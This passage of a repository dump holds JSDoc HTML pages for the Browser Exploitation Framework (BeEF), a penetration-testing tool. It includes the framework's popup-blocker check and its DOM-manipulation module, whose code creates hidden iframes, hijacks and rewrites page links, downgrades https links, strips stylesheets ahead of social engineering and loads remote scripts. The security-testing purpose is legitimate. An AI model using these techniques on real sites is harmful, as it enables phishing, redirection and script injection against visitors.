class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>\n"
  },
  {
    "path": "docs/browser_jools.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Namespace: browser_jools</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Namespace: browser_jools</h1>\n\n    \n\n\n\n\n<section>\n\n<header>\n    \n        <h2>browser_jools</h2>\n        \n    \n</header>\n\n<article>\n    <div class=\"container-overview\">\n    \n        \n\n        \n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"lib_browser_jools.js.html\">lib/browser_jools.js</a>, <a href=\"lib_browser_jools.js.html#line1\">line 1</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n        \n    \n    </div>\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n        <h3 class=\"subsection-title\">Members</h3>\n\n        \n            \n<h4 class=\"name\" id=\".exports.version\"><span class=\"type-signature\">(static) </span>exports.version<span class=\"type-signature\"></span></h4>\n\n\n\n\n<div class=\"description\">\n    <p>version</p>\n</div>\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"lib_browser_jools.js.html\">lib/browser_jools.js</a>, <a href=\"lib_browser_jools.js.html#line382\">line 382</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n        \n            \n<h4 class=\"name\" id=\".require.resolve\"><span class=\"type-signature\">(static) </span>require.resolve<span class=\"type-signature\"></span></h4>\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"lib_browser_jools.js.html\">lib/browser_jools.js</a>, <a href=\"lib_browser_jools.js.html#line34\">line 34</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n        \n    \n\n    \n        <h3 class=\"subsection-title\">Methods</h3>\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".Jools\"><span class=\"type-signature\">(static) </span>Jools<span class=\"signature\">(rules)</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Jools constructor.</p>\n<p>A rule consists of:</p>\n<ul>\n<li>Descriptive name</li>\n<li>One or more conditions</li>\n<li>One or more consequences, which are fired when all conditions evaluate to true.</li>\n</ul>\n</div>\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>rules</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">Object</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"lib_browser_jools.js.html\">lib/browser_jools.js</a>, <a href=\"lib_browser_jools.js.html#line394\">line 394</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".module.exports.paramNames\"><span class=\"type-signature\">(static) </span>module.exports.paramNames<span class=\"signature\">(f)</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns an array of parameter names of the function f</p>\n</div>\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>f</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">function</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"lib_browser_jools.js.html\">lib/browser_jools.js</a>, <a href=\"lib_browser_jools.js.html#line453\">line 453</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".module.exports.paramsToArguments\"><span class=\"type-signature\">(static) </span>module.exports.paramsToArguments<span class=\"signature\">(obj, params)</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Creates an array of arguments</p>\n</div>\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>obj</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">Object</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>params</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">Array</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"lib_browser_jools.js.html\">lib/browser_jools.js</a>, <a href=\"lib_browser_jools.js.html#line471\">line 471</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".normalizeArray\"><span class=\"type-signature\">(static) </span>normalizeArray<span class=\"signature\">(parts, allowAboveRoot)</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>resolves . and .. elements in a path array with directory names there\nmust be no slashes, empty elements, or device names (c:) in the array\n(so also no leading and trailing slashes - it does not distinguish\nrelative and absolute paths)</p>\n</div>\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>parts</code></td>\n            \n\n            <td class=\"type\">\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>allowAboveRoot</code></td>\n            \n\n            <td class=\"type\">\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"lib_browser_jools.js.html\">lib/browser_jools.js</a>, <a href=\"lib_browser_jools.js.html#line242\">line 242</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".require\"><span class=\"type-signature\">(static) </span>require<span class=\"signature\">(file, cwd)</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>file</code></td>\n            \n\n            <td class=\"type\">\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>cwd</code></td>\n            \n\n            <td class=\"type\">\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"lib_browser_jools.js.html\">lib/browser_jools.js</a>, <a href=\"lib_browser_jools.js.html#line10\">line 10</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".require.alias\"><span class=\"type-signature\">(static) </span>require.alias<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"lib_browser_jools.js.html\">lib/browser_jools.js</a>, <a href=\"lib_browser_jools.js.html#line121\">line 121</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".require.define\"><span class=\"type-signature\">(static) </span>require.define<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"lib_browser_jools.js.html\">lib/browser_jools.js</a>, <a href=\"lib_browser_jools.js.html#line152\">line 152</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n    \n\n    \n\n    \n</article>\n\n</section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"browser_jools.html\">browser_jools</a></li><li><a href=\"platform.html\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 3.6.3</a> on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>"
  },
  {
    "path": "docs/browser_popup.js.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Source: browser/popup.js</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Source: browser/popup.js</h1>\n\n    \n\n\n\n    \n    <section>\n        <article>\n            <pre class=\"prettyprint source linenums\"><code>//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/**\n * Provides fuctions for working with cookies. \n * Several functions adopted from http://davidwalsh.name/popup-block-javascript\n * Original author unknown.\n * @namespace beef.browser.popup\n */\nbeef.browser.popup = {\n\t\t/** @memberof beef.browser.popup */\n\t\tblocker_enabled: function ()\n\t\t{\n\t\t\tscreenParams = beef.hardware.getScreenSize();\n\t\t\tvar popUp = window.open('/', 'windowName0', 'width=1, height=1, left='+screenParams.width+', top='+screenParams.height+', scrollbars, resizable');\n\t\t\tif (popUp == null || typeof(popUp)=='undefined') {   \n\t\t\t  \treturn true;\n\t\t\t} else {   \n\t\t\t\tpopUp.close();\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n};\n\nbeef.regCmp('beef.browser.popup');\n</code></pre>\n        </article>\n    </section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>\n"
  },
  {
    "path": "docs/dom.js.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Source: dom.js</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Source: dom.js</h1>\n\n    \n\n\n\n    \n    <section>\n        <article>\n            <pre class=\"prettyprint source linenums\"><code>//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/**\n * Provides functionality to manipulate the DOM.\n * @namespace beef.dom\n */\nbeef.dom = {\n\t\n\t/**\n\t * Generates a random ID for HTML elements\n\t * @param {String} prefix a custom prefix before the random id. defaults to \"beef-\"\n\t * @return {String} generated id\n\t */\n\tgenerateID: function(prefix) {\n\t\treturn ((prefix == null) ? 'beef-' : prefix)+Math.floor(Math.random()*99999);\n\t},\t\n\t\t\n\t/**\n\t * Creates a new element but does not append it to the DOM.\n\t * @param {String} type the name of the element.\n\t * @param {Array} attributes the attributes of that element.\n\t * @return {Array} the created element.\n\t */\n\tcreateElement: function(type, attributes) {\n\t\tvar el = document.createElement(type);\n\t\t\n\t\tfor(index in attributes) {\n\t\t\tif(typeof attributes[index] == 'string') {\n\t\t\t\tel.setAttribute(index, attributes[index]);\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn el;\n\t},\n\t\n\t/**\n\t * Removes element from the DOM.\n\t * @param {Object} el the target element to be removed.\n\t */\n\tremoveElement: function(el) {\n\t\tif (!beef.dom.isDOMElement(el))\n\t\t{\n\t\t\tel = document.getElementById(el);\n\t\t}\n\t\ttry {\n\t\t\tel.parentNode.removeChild(el);\n\t\t} catch (e) { }\n\t},\n\t\n\t/**\n\t * Tests if the object is a DOM element.\n\t * @param {Object} the DOM element.\n\t * @return {boolean} true if the object is a DOM element.\n\t */\n\tisDOMElement: function(obj) {\n\t\treturn (obj.nodeType) ? true : false;\n\t},\n\t\n\t/**\n\t * Creates an invisible iframe on the hook browser's page.\n\t * @return {array} the iframe.\n\t */\n\tcreateInvisibleIframe: function() {\n\t\tvar iframe = this.createElement('iframe', {\n\t\t\t\twidth: '1px',\n\t\t\t\theight: '1px',\n\t\t\t\tstyle: 'visibility:hidden;'\n\t\t\t});\n\t\t\n\t\tdocument.body.appendChild(iframe);\n\t\t\n\t\treturn iframe;\n\t},\n\n\t/**\n\t * Returns the highest current z-index\n\t * @param {Boolean} whether to return an associative array with the height AND the ID of the element\n\t * @return {Integer} Highest z-index in the DOM\n\t * OR\n\t * @return {Hash} A hash with the height and the ID of the highest element in the DOM {'height': INT, 'elem': STRING}\n\t */\n\tgetHighestZindex: function(include_id) {\n\t\tvar highest = {'height':0, 'elem':''};\n\t\t$j('*').each(function() {\n\t\t\tvar current_high = parseInt($j(this).css(\"zIndex\"),10);\n\t\t\tif (current_high > highest.height) {\n\t\t\t\thighest.height = current_high;\n\t\t\t\thighest.elem = $j(this).attr('id');\n\t\t\t}\n\t\t});\n\n\t\tif (include_id) {\n\t\t\treturn highest;\n\t\t} else {\n\t\t\treturn highest.height;\n\t\t}\n\t},\n\t\n\t/**\n     * Create an iFrame element and prepend to document body. URI passed via 'src' property of function's 'params' parameter\n     * is assigned to created iframe tag's src attribute resulting in GET request to that URI.\n     * example usage in the code: beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);\n\t * @param {String} type: can be 'hidden' or 'fullScreen'. defaults to normal\n\t * @param {Hash} params: list of params that will be sent in request.\n\t * @param {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter\n\t * @param {Function} a callback function to fire once the iFrame has loaded\n\t * @return {Object} the inserted iFrame\n     *\n\t */\n\tcreateIframe: function(type, params, styles, onload) {\n\t\tvar css = {};\n\n\t\tif (type == 'hidden') {\n\t\t\tcss = $j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles);\n\t\t} else if (type == 'fullscreen') {\n\t\t\tcss = $j.extend(true, {'border':'none', 'background-color':'white', 'width':'100%', 'height':'100%', 'position':'absolute', 'top':'0px', 'left':'0px', 'z-index':beef.dom.getHighestZindex()+1}, styles);\n\t\t\t$j('body').css({'padding':'0px', 'margin':'0px'});\n\t\t} else {\n\t\t\tcss = styles;\n\t\t\t$j('body').css({'padding':'0px', 'margin':'0px'});\n\t\t}\n\t\tvar iframe = $j('&lt;iframe />').attr(params).css(css).load(onload).prependTo('body');\n\t\t\n\t\treturn iframe;\n\t},\n\n    /**\n     * Load the link (href value) in an overlay foreground iFrame.\n     * The BeEF hook continues to run in background.\n     * NOTE: if the target link is returning X-Frame-Options deny/same-origin or uses\n     * Framebusting techniques, this will not work.\n     */\n    persistentIframe: function(){\n        $j('a').click(function(e) {\n            if ($j(this).attr('href') != '')\n            {\n                e.preventDefault();\n                beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);\n                $j(document).attr('title', $j(this).html());\n                document.body.scroll = \"no\";\n                document.documentElement.style.overflow = 'hidden';\n            }\n        });\n    },\n\n    /**\n     * Load a full screen div that is black, or, transparent\n     * @param {Boolean} vis: whether or not you want the screen dimmer enabled or not\n     * @param {Hash} options: a collection of options to customise how the div is configured, as follows:\n     *         opacity:0-100         // Lower number = less grayout higher = more of a blackout\n     *           // By default this is 70 \n     *         zindex: #             // HTML elements with a higher zindex appear on top of the gray out\n     *           // By default this will use beef.dom.getHighestZindex to always go to the top\n     *         bgcolor: (#xxxxxx)    // Standard RGB Hex color code\n     *           // By default this is #000000\n     */\n\tgrayOut: function(vis, options) {\n\t  // in any order.  Pass only the properties you need to set.\n\t  var options = options || {};\n\t  var zindex = options.zindex || beef.dom.getHighestZindex()+1;\n\t  var opacity = options.opacity || 70;\n\t  var opaque = (opacity / 100);\n\t  var bgcolor = options.bgcolor || '#000000';\n\t  var dark=document.getElementById('darkenScreenObject');\n\t  if (!dark) {\n\t    // The dark layer doesn't exist, it's never been created.  So we'll\n\t    // create it here and apply some basic styles.\n\t    // If you are getting errors in IE see: http://support.microsoft.com/default.aspx/kb/927917\n\t    var tbody = document.getElementsByTagName(\"body\")[0];\n\t    var tnode = document.createElement('div');           // Create the layer.\n\t        tnode.style.position='absolute';                 // Position absolutely\n\t        tnode.style.top='0px';                           // In the top\n\t        tnode.style.left='0px';                          // Left corner of the page\n\t        tnode.style.overflow='hidden';                   // Try to avoid making scroll bars            \n\t        tnode.style.display='none';                      // Start out Hidden\n\t        tnode.id='darkenScreenObject';                   // Name it so we can find it later\n\t    tbody.appendChild(tnode);                            // Add it to the web page\n\t    dark=document.getElementById('darkenScreenObject');  // Get the object.\n\t  }\n\t  if (vis) {\n\t    // Calculate the page width and height \n\t    if( document.body &amp;&amp; ( document.body.scrollWidth || document.body.scrollHeight ) ) {\n\t        var pageWidth = document.body.scrollWidth+'px';\n\t        var pageHeight = document.body.scrollHeight+'px';\n\t    } else if( document.body.offsetWidth ) {\n\t      var pageWidth = document.body.offsetWidth+'px';\n\t      var pageHeight = document.body.offsetHeight+'px';\n\t    } else {\n\t       var pageWidth='100%';\n\t       var pageHeight='100%';\n\t    }\n\t    //set the shader to cover the entire page and make it visible.\n\t    dark.style.opacity=opaque;\n\t    dark.style.MozOpacity=opaque;\n\t    dark.style.filter='alpha(opacity='+opacity+')';\n\t    dark.style.zIndex=zindex;\n\t    dark.style.backgroundColor=bgcolor;\n\t    dark.style.width= pageWidth;\n\t    dark.style.height= pageHeight;\n\t    dark.style.display='block';\n\t  } else {\n\t     dark.style.display='none';\n\t  }\n\t},\n\n\t/**\n\t * Remove all external and internal stylesheets from the current page - sometimes prior to socially engineering,\n\t *  or, re-writing a document this is useful.\n\t */\n\tremoveStylesheets: function() {\n\t\t$j('link[rel=stylesheet]').remove();\n\t\t$j('style').remove();\n\t},\n\t\n\t/**\n     * Create a form element with the specified parameters, appending it to the DOM if append == true\n\t * @param {Hash} params: params to be applied to the form element\n\t * @param {Boolean} append: automatically append the form to the body\n\t * @return {Object} a form object\n\t */\n\tcreateForm: function(params, append) {\n\t\tvar form = $j('&lt;form>&lt;/form>').attr(params);\n\t\tif (append)\n\t\t\t$j('body').append(form);\n\t\treturn form;\n\t},\n\t\n\tloadScript: function(url) {\n\t  var s = document.createElement('script');\n\t  s.type = 'text/javascript';\n\t  s.src = url;\n\t  $j('body').append(s);\n\t},\n\n\t/**\n\t * Get the location of the current page.\n\t * @return the location.\n\t */\n\tgetLocation: function() {\n\t\treturn document.location.href;\n\t},\n\t\n\t/**\n\t * Get links of the current page.\n\t * @return array of URLs.\n\t */\n\tgetLinks: function() {\n\t\tvar linksarray = [];\n\t\tvar links = document.links;\n\t\tfor(var i = 0; i&lt;links.length; i++) {\n\t\t\tlinksarray = linksarray.concat(links[i].href)\t\t\n\t\t};\n\t\treturn linksarray\n\t},\n\t\n\t/**\n\t * Rewrites all links matched by selector to url, also rebinds the click method to simply return true\n\t * @param {String} url: the url to be rewritten\n\t * @param {String} selector: the jquery selector statement to use, defaults to all a tags.\n\t * @return {Number} the amount of links found in the DOM and rewritten.\n\t */\n\trewriteLinks: function(url, selector) {\n\t\tvar sel = (selector == null) ? 'a' : selector;\n\t\treturn $j(sel).each(function() {\n\t\t\tif ($j(this).attr('href') != null)\n\t\t\t{\n\t\t\t\t$j(this).attr('href', url).click(function() { return true; });\n\t\t\t}\n\t\t}).length;\n\t},\n\n\t/**\n\t * Rewrites all links matched by selector to url, leveraging Bilawal Hameed's hidden click event overwriting.\n\t * http://bilaw.al/2013/03/17/hacking-the-a-tag-in-100-characters.html\n\t * @param {String} url: the url to be rewritten\n\t * @param {String} selector: the jquery selector statement to use, defaults to all a tags.\n\t * @return {Number} the amount of links found in the DOM and rewritten.\n\t */\n\trewriteLinksClickEvents: function(url, selector) {\n\t\tvar sel = (selector == null) ? 'a' : selector;\n\t\treturn $j(sel).each(function() {\n\t\t\tif ($j(this).attr('href') != null)\n\t\t\t{\n\t\t\t\t$j(this).click(function() {this.href=url});\n\t\t\t}\n\t\t}).length;\n\t},\n\n\t/**\n     * Parse all links in the page matched by the selector, replacing old_protocol with new_protocol (ex.:https with http)\n\t * @param {String} old_protocol: the old link protocol to be rewritten\n\t * @param {String} new_protocol: the new link protocol to be written\n\t * @param {String} selector: the jquery selector statement to use, defaults to all a tags.\n\t * @return {Number} the amount of links found in the DOM and rewritten.\n\t */\n\trewriteLinksProtocol: function(old_protocol, new_protocol, selector) {\n\n\t\tvar count = 0;\n\t\tvar re = new RegExp(old_protocol+\"://\", \"gi\");\n\t\tvar sel = (selector == null) ? 'a' : selector;\n\n\t\t$j(sel).each(function() {\n\t\t\tif ($j(this).attr('href') != null) {\n\t\t\t\tvar url = $j(this).attr('href');\n\t\t\t\tif 